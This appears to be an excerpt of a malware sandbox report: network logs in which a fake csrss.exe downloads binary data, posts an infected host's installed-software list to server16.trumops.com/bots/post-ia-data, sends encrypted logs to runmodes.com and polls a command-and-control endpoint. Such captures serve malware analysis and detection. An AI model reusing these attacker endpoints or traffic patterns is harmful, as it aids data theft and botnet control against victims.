Nov 11, 2021 22:25:26.406584978 CET	1374	IN	Data Raw: 72 50 84 1b b4 07 0c a9 08 71 3f 90 7d de 6c e4 a9 20 1b f8 1b 21 df ad c0 e2 ca 88 15 bb fa 01 45 e5 1b 02 8f 10 2c 27 e6 95 4d 43 db 5d 39 d9 18 20 bb 9c 8b e2 a9 2b 74 90 61 97 52 a9 04 39 28 20 64 b1 3b 7a f8 08 aa b4 f3 57 8d 3d 35 39 8a ee Data Ascii: rPq?}l !E,'MC]9 +taR9( d;zW=59ky,.@yi-(8HXh:xI.>!$2erxHj!pTq60#.?WD8kmNq_VN]SY?.7@
Nov 11, 2021 22:25:26.406624079 CET	1375	IN	Data Raw: a2 88 a0 57 c9 0f 2e c1 75 06 0f 8b 86 02 97 f6 1f 1a 2e c0 75 02 7b 5b 6a 05 80 dd 13 76 df 41 40 18 8b 88 90 11 90 94 e4 90 17 89 fb ff 5f f5 cb c1 e1 11 e4 89 d3 31 ca c1 e9 07 31 d1 89 da c1 eb 10 31 cb 89 98 45 c1 ff 37 b8 8d 04 1a 4d 31 c8 Data Ascii: W.u.u{[jvA@_111E7M15ivEbxVsAuF&(fQ2f<c'9({'~7-E!2r5X*>- tgIfY^I t)1wxMeY!(@QN
Nov 11, 2021 22:25:26.406678915 CET	1377	IN	Data Raw: d6 44 6d 1a 60 3e 6c 8d 1f c2 2d 70 2a 0b 02 8a ac 64 ab 33 3e 1e 66 67 70 a0 8b 4f f0 72 e4 ad 40 7f 5e 23 01 7e 30 b8 97 20 ed 79 ef 40 76 23 0e 4c 30 87 d1 47 e6 13 60 7f 40 ae 1c 83 c0 ac b0 02 66 2a 0a f0 14 b9 e8 a8 44 9d e5 54 2b 82 8a 6f Data Ascii: Dm`>l-pd3>fgpOr@^#~0 y@v#L0G`@fDT+o0BqGt4;=&:%HId,fQlba0RlLp)-pKhxp$BA9M49L{^pA,}b?1DI'\8"?v>ehxAxv
Nov 11, 2021 22:25:26.406740904 CET	1378	IN	Data Raw: ca 28 a6 e9 13 ae 78 fc a1 40 44 e8 09 83 c3 0c a4 52 fd 8b 7b fd 4b e0 1b fa 17 77 2d 8b 3f b4 01 fd 39 fa 76 1d fc ff 1f e8 f0 28 ce 29 fd 29 fa 39 e9 76 09 46 29 e9 39 c6 7c cd eb a8 8c 8b 83 1f 37 d7 eb df 0c 38 18 20 05 ff bd 19 c7 4c 60 30 Data Ascii: (x@DR{Kw-?9v())9vF)9\|78 L`0\|4<$lCuL$)80@&)4D<-z80.btQL_a%I=z?[H,y@c$70i?Y(6-pTY8Y7>lEzP89Pf{
Nov 11, 2021 22:25:26.406785011 CET	1380	IN	Data Raw: 85 a3 c2 00 d5 20 13 62 24 46 f8 05 01 bc ee ff be 02 23 d8 df f8 20 89 5c 24 04 14 32 32 c1 df 20 10 b0 92 b2 62 be 19 02 2b 23 0c 80 06 19 f1 32 f5 0b 5c 31 49 14 1c f5 af cf 6e 81 84 46 10 bb df eb 11 90 70 16 17 2c 60 26 51 58 90 01 59 ef 11 Data Ascii: b$F# \$22 b+#2\1InFp,`&QXYM9Q!uSP`GCJ#i`DF@'O[EJBBJKP07pl!A#?A(#:tx^G\2Dp%B*X3GZH
Nov 11, 2021 22:25:26.406826019 CET	1381	IN	Data Raw: 76 f4 3c 2e 32 3d 97 74 28 31 ff 97 ff 0b de 14 72 0e d8 8d 45 01 68 77 74 29 c1 89 ca f7 d9 c1 f9 06 d2 3b f8 1f 21 c8 01 f0 30 34 9e 38 97 57 c0 41 4e f1 a0 22 34 60 20 58 01 03 f3 5c 21 bc 6a 7f 6c 05 46 c6 7c 24 10 16 1c 60 2a 87 14 e1 11 08 Data Ascii: v<.2=t(1rEhwt);!048WAN"4` X\!jlF\|$`$)ZYq!+E\|4tE_q_/]Kj hB9sG4V8?(ArZw ArkZ GX+\P ;A\F1$",V3<hXX
Nov 11, 2021 22:25:26.406886101 CET	1382	IN	Data Raw: 6c b8 e0 01 94 16 a3 a0 5a 89 c2 ad a4 5e d1 9b 3d ea eb f1 89 f8 e3 d3 88 07 9c 0d b9 08 4f 27 4d 5e 87 2a 8d ac df 93 07 9f ff f7 00 bc 78 f0 7c 3e 5f 1c 8b 48 08 81 f9 6d 54 1a 6c ff 88 ae b3 3e e9 72 f9 8c 02 25 79 16 29 02 f1 57 36 af fb 7f Data Ascii: lZ^=O'M^x\|>_HmTl>r%y)W6.=j+E9'O"ku\VR>IJbVm>p kt=FB3hy?(hFSx;?Y\|%Ux$: \GWx?PrO#I
Nov 11, 2021 22:25:26.406944036 CET	1384	IN	Data Raw: 76 c7 47 b3 47 6f 5b e2 b7 b5 d6 76 c5 0f 2c 10 00 3b 14 02 bd 49 38 46 1d 47 54 75 45 89 47 a3 23 f3 af fa 3c 8e 03 f0 fc 8d 74 24 34 19 f0 d6 54 42 68 3d 44 1e 5c 7c 31 06 dc d4 64 89 4c 55 85 b0 02 32 32 3e 85 db d9 48 45 b4 ff 74 83 c4 5c c3 Data Ascii: vGGo[v,;I8FGTuEG#<t$4TBh=D\\|1dLU22>HEt\O8f06pWdhwjlptF[/C +U(KLmq'0'tp(#'I07E\|(,3Wl/LT_AJGgR_K@~d$
Nov 11, 2021 22:25:26.406991959 CET	1385	IN	Data Raw: d5 0a 5a 12 ed 09 e8 12 77 d4 d8 44 7d 57 25 46 89 dc 2d fb 1f 03 1f 70 80 25 44 0f b6 12 f6 c2 01 1e 81 7b 9c 52 3f 8f 75 09 99 8c 48 19 7e ec 66 2b f3 44 01 08 8b 57 02 9b 01 9c 9d 85 8c 71 90 49 d8 e3 06 db c3 71 01 07 84 c2 26 c0 84 f0 89 d1 Data Ascii: ZwD}W%F-p%D{R?uH~f+DWqIq&PciQi8pD3J02,\aHDJ# p_ DT.P<?8tfXg,\wg9t1i1OCTC5=2
Nov 11, 2021 22:25:56.597763062 CET	7005	OUT	Data Raw: 00 Data Ascii:
Nov 11, 2021 22:26:26.620104074 CET	7828	OUT	Data Raw: 00 Data Ascii:
Nov 11, 2021 22:26:56.641138077 CET	8582	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49766	104.21.34.203	443	C:\Windows\rss\csrss.exe

Timestamp	Direction	Data
2021-11-11 21:25:01 UTC	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 144 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-11 21:25:01 UTC	OUT	Data Raw: 64 4d 38 57 30 73 64 59 61 62 78 57 58 74 55 43 44 54 79 6e 55 74 45 6b 48 59 61 51 39 71 78 61 6b 7a 38 41 6d 76 30 7a 43 58 5a 41 46 69 4f 61 4e 6d 65 34 36 53 63 65 6d 33 51 71 6a 4a 6c 46 44 35 56 4f 47 45 42 42 4e 65 39 70 54 75 48 6c 57 46 57 59 31 64 59 2b 52 54 79 33 42 51 64 31 47 4b 42 34 77 4a 38 38 34 38 4f 58 64 79 76 47 4f 6a 4c 37 37 6d 77 67 4b 6e 4f 4b 4e 33 53 76 72 2f 2b 30 76 46 6b 30 4a 63 41 52 79 43 70 2b Data Ascii: dM8W0sdYabxWXtUCDTynUtEkHYaQ9qxakz8Amv0zCXZAFiOaNme46Scem3QqjJlFD5VOGEBBNe9pTuHlWFWY1dY+RTy3BQd1GKB4wJ8848OXdyvGOjL77mwgKnOKN3Svr/+0vFk0JcARyCp+
2021-11-11 21:25:01 UTC	IN	HTTP/1.1 200 OK Date: Thu, 11 Nov 2021 21:25:01 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4L7HnsUi4OC%2FWwtSgrGRBF3hE%2F3z8ByNcWRDV26M8Sm0XWNRISAgPoIQRRvk2ffrjProXxldSDMuPlS4Uz5YQw7BpvBcfEKfscr3rO4u0oiKE9gEpSUUtZCSt20d0GI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6aca973d6d112bce-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49767	172.67.139.144	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-11 21:25:01 UTC	0	OUT	POST /bots/post-ia-data?uuid=0d29b283-e190-4dec-92fd-2f54e18287ce HTTP/1.1 Host: server16.trumops.com User-Agent: Go-http-client/1.1 Content-Length: 18950 Content-Type: application/json; charset=UTF-8 Accept-Encoding: gzip
2021-11-11 21:25:01 UTC	1	OUT	Data Raw: 5b 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 32 30 31 33 20 78 38 36 20 41 64 64 69 74 69 6f 6e 61 6c 20 52 75 6e 74 69 6d 65 20 2d 20 31 32 2e 30 2e 32 31 30 30 35 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 32 2e 30 2e 32 31 30 30 35 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 32 30 31 39 30 36 32 37 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 36 31 34 33 35 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 Data Ascii: [{"display_name":"Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005","display_version":"12.0.21005","install_date":"20190627"},{"display_name":"Update for Microsoft Office 2016 (KB4461435) 32-Bit Edition","display_version":"","install_date":""
2021-11-11 21:25:01 UTC	2	OUT	Data Raw: 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 37 35 35 38 38 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 44 43 46 20 4d 55 49 20 28 45 6e 67 6c 69 73 68 29 20 32 30 31 36 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 36 2e 30 2e 34 32 36 36 2e 31 30 30 31 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 32 30 32 30 30 37 32 33 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d Data Ascii: _date":""},{"display_name":"Update for Microsoft Office 2016 (KB4475588) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Microsoft DCF MUI (English) 2016","display_version":"16.0.4266.1001","install_date":"20200723"},{"display_nam
2021-11-11 21:25:01 UTC	4	OUT	Data Raw: 5f 64 61 74 65 22 3a 22 32 30 32 30 30 37 32 33 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 30 32 32 31 39 33 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 32 39 32 30 37 32 30 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c Data Ascii: _date":"20200723"},{"display_name":"Update for Microsoft Office 2016 (KB4022193) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB2920720) 32-Bit Edition","display_version":"","install_date":""},
2021-11-11 21:25:01 UTC	4	OUT	Data Raw: 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 20 66 6f 72 20 42 75 73 69 6e 65 73 73 20 28 4b 42 34 30 32 32 32 31 39 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 75 74 6c 6f 6f 6b 20 32 30 31 36 20 28 4b 42 34 34 38 34 32 37 34 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 Data Ascii: rsion":"","install_date":""},{"display_name":"Update for Microsoft OneDrive for Business (KB4022219) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Security Update for Microsoft Outlook 2016 (KB4484274) 32-Bit Edition","display_v
2021-11-11 21:25:01 UTC	8	OUT	Data Raw: 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 32 30 31 33 20 78 36 34 20 4d 69 6e 69 6d 75 6d 20 52 75 6e 74 69 6d 65 20 2d 20 31 32 2e 30 2e 32 31 30 30 35 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 32 2e 30 2e 32 31 30 30 35 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 32 30 31 39 30 36 32 37 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 32 39 32 30 37 31 32 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 6f 62 69 6c Data Ascii: rosoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005","display_version":"12.0.21005","install_date":"20190627"},{"display_name":"Update for Microsoft Office 2016 (KB2920712) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Mobil
2021-11-11 21:25:01 UTC	12	OUT	Data Raw: 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 4f 75 74 6c 6f 6f 6b 20 4d 55 49 20 28 45 6e 67 6c 69 73 68 29 20 32 30 31 36 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 36 2e 30 2e 34 32 36 36 2e 31 30 30 31 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 32 30 32 30 30 37 32 33 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 30 32 32 31 37 36 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 Data Ascii: ":"","install_date":""},{"display_name":"Microsoft Outlook MUI (English) 2016","display_version":"16.0.4266.1001","install_date":"20200723"},{"display_name":"Security Update for Microsoft Office 2016 (KB4022176) 32-Bit Edition","display_version":"","insta
2021-11-11 21:25:01 UTC	16	OUT	Data Raw: 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 32 30 32 30 30 37 32 33 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 33 31 31 35 30 38 31 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 38 34 32 31 34 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 Data Ascii: ,"install_date":"20200723"},{"display_name":"Update for Microsoft Office 2016 (KB3115081) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Security Update for Microsoft Office 2016 (KB4484214) 32-Bit Edition","display_version":"","
2021-11-11 21:25:02 UTC	19	IN	HTTP/1.1 404 Not Found Date: Thu, 11 Nov 2021 21:25:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LIZnh6xMbTgBJnOsAnA5MpvLzSNwQ2giSxppwEhe3s6mOFbzMzPDdR%2F0vyW%2Fe3oJ9Tkt9KdliHh7fQLbOVTuuX6iUVu4%2FynRQbsHcGzoIChMB3RzzpTlHe1NhPjFcooqZu2vgsyuug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6aca973e3df975cc-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-11 21:25:02 UTC	20	IN	Data Raw: 34 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 39 70 74 20 22 56 65 72 64 61 6e 61 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 Data Ascii: 4a8<!DOCTYPE html><html><head> <meta charset="utf-8" /> <title>Not Found (#404)</title> <style> body { font: normal 9pt "Verdana"; color: #000; background: #fff; } h1 {
2021-11-11 21:25:02 UTC	21	IN	Data Raw: 61 6c 20 39 70 74 20 22 56 65 72 64 61 6e 61 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 76 65 72 73 69 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 67 72 61 79 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 70 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 Data Ascii: al 9pt "Verdana"; color: #000; } .version { color: gray; font-size: 8pt; border-top: 1px solid #aaa; padding-top: 1em; margin-bottom: 1em; } </style></he
2021-11-11 21:25:02 UTC	21	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49768	104.21.34.203	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-11 21:25:05 UTC	21	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 132 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-11 21:25:05 UTC	21	OUT	Data Raw: 53 6a 37 32 51 43 46 4c 30 32 54 70 47 30 64 4d 66 59 52 79 2b 65 67 35 53 50 6d 4b 30 4a 69 52 4c 62 53 31 61 56 34 77 78 38 59 42 31 30 6b 4f 7a 37 35 58 6b 6a 31 47 6f 6b 71 4b 36 48 42 77 68 7a 7a 34 6f 4f 57 53 69 52 35 4e 78 6d 49 76 62 44 32 54 4c 39 37 6e 7a 4b 30 30 58 57 50 37 63 74 79 6c 68 59 6c 41 65 6b 6d 45 54 4e 56 32 51 74 6c 5a 4a 5a 48 69 61 77 74 54 4d 2b 56 46 4f 67 3d 3d Data Ascii: Sj72QCFL02TpG0dMfYRy+eg5SPmK0JiRLbS1aV4wx8YB10kOz75Xkj1GokqK6HBwhzz4oOWSiR5NxmIvbD2TL97nzK00XWP7ctylhYlAekmETNV2QtlZJZHiawtTM+VFOg==
2021-11-11 21:25:05 UTC	21	IN	HTTP/1.1 200 OK Date: Thu, 11 Nov 2021 21:25:05 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8kjKXwaU2OMNenX3j%2BBxdDtsWu7yYU8crVCmuwbOZbsvF3BryKj2UZSAhto0egaitmBE73ohXEA8gdAC07f8Fpk5P8sjmzvZ2nHYhkM2UX5h6KaKiwAmT5zGetNsqfQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6aca97570c4b5c4a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49771	172.67.139.144	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-11 21:25:08 UTC	22	OUT	POST /api/poll HTTP/1.1 Host: server16.trumops.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 OPR/67.0.3575.79 Content-Length: 652 Accept-Encoding: gzip
2021-11-11 21:25:08 UTC	22	OUT	Data Raw: 6c 32 6a 76 57 55 2b 69 30 47 44 52 48 45 72 34 52 50 6f 62 69 66 51 6d 32 37 76 4c 33 67 6c 4e 78 63 61 33 35 48 44 4a 76 39 65 4f 73 61 77 43 41 31 2b 66 32 7a 6c 46 75 69 36 4f 39 62 71 4a 4c 62 42 4a 63 30 7a 58 32 65 35 6c 78 2b 68 4c 32 57 4a 72 75 4d 37 74 34 47 67 37 4b 37 77 4c 58 33 34 58 6e 4a 72 65 6b 48 4a 76 43 38 50 41 31 79 32 38 45 4a 52 7a 58 72 34 4c 70 6c 57 65 56 50 48 4e 54 65 2f 4c 78 41 73 49 53 75 53 39 7a 2f 47 79 79 79 4e 4f 58 41 65 52 31 69 58 66 6a 74 69 32 67 48 69 76 2f 6f 76 66 4f 37 48 45 78 36 6a 65 31 64 70 44 30 53 65 51 2b 64 78 71 52 6c 4c 45 59 38 6c 47 38 35 58 44 33 58 55 55 6f 73 46 62 38 57 70 31 58 42 6e 62 70 44 4d 6d 36 57 65 41 67 6a 48 51 77 74 4e 55 44 48 54 30 35 66 61 5a 4b 30 6e 35 59 59 58 33 63 76 4f Data Ascii: l2jvWU+i0GDRHEr4RPobifQm27vL3glNxca35HDJv9eOsawCA1+f2zlFui6O9bqJLbBJc0zX2e5lx+hL2WJruM7t4Gg7K7wLX34XnJrekHJvC8PA1y28EJRzXr4LplWeVPHNTe/LxAsISuS9z/GyyyNOXAeR1iXfjti2gHiv/ovfO7HEx6je1dpD0SeQ+dxqRlLEY8lG85XD3XUUosFb8Wp1XBnbpDMm6WeAgjHQwtNUDHT05faZK0n5YYX3cvO
2021-11-11 21:25:08 UTC	23	IN	HTTP/1.1 404 Not Found Date: Thu, 11 Nov 2021 21:25:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 set-cookie: PHPSESSID=euj3j5ku0rft5a50n1ninhd9kh; path=/; HttpOnly expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache access-control-allow-credentials: false CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fcU4Am4%2FPfR3pJmbhWGFPWZwMdES%2FkKM2khchsVsOdD2UU7Lwy%2FVK0JoXxpIzFOD8VYpGkOW9wijftCaqlFoYf%2BaApRfSgNOoGy1R9f9f8jcd6iHOHv2ByUWzWKu7EP6omlovucdhw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6aca976599fe74e9-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-11 21:25:08 UTC	24	IN	Data Raw: 65 38 0d 0a 6b 77 37 58 35 46 38 71 52 37 62 42 5a 39 4e 45 38 34 48 4b 35 4e 6a 5a 36 73 51 6e 2b 63 49 4a 6a 41 4e 52 55 66 76 2f 32 68 4c 55 57 68 49 49 61 51 63 36 42 7a 43 79 4b 33 33 48 39 62 7a 50 52 39 44 75 6a 78 75 4a 79 4c 57 72 45 66 44 69 77 4e 58 45 37 70 65 50 42 70 74 59 32 75 31 52 31 75 37 4e 63 4a 44 55 36 4c 74 5a 79 65 5a 75 54 66 6e 56 31 57 4b 5a 76 74 54 75 74 38 6d 6a 35 36 59 77 37 6c 54 66 2b 44 2b 46 2b 73 58 4c 59 35 79 75 74 56 45 47 47 73 65 2b 5a 52 42 78 73 72 51 44 46 53 78 51 69 31 43 71 41 39 36 76 43 71 4a 46 4f 31 54 4e 73 6f 69 63 7a 62 6a 48 4f 43 55 4c 56 37 6e 53 68 73 55 33 61 70 4a 65 49 35 5a 50 4f 46 4c 72 4d 71 44 63 53 50 30 63 68 68 76 79 39 67 3d 3d 0d 0a Data Ascii: 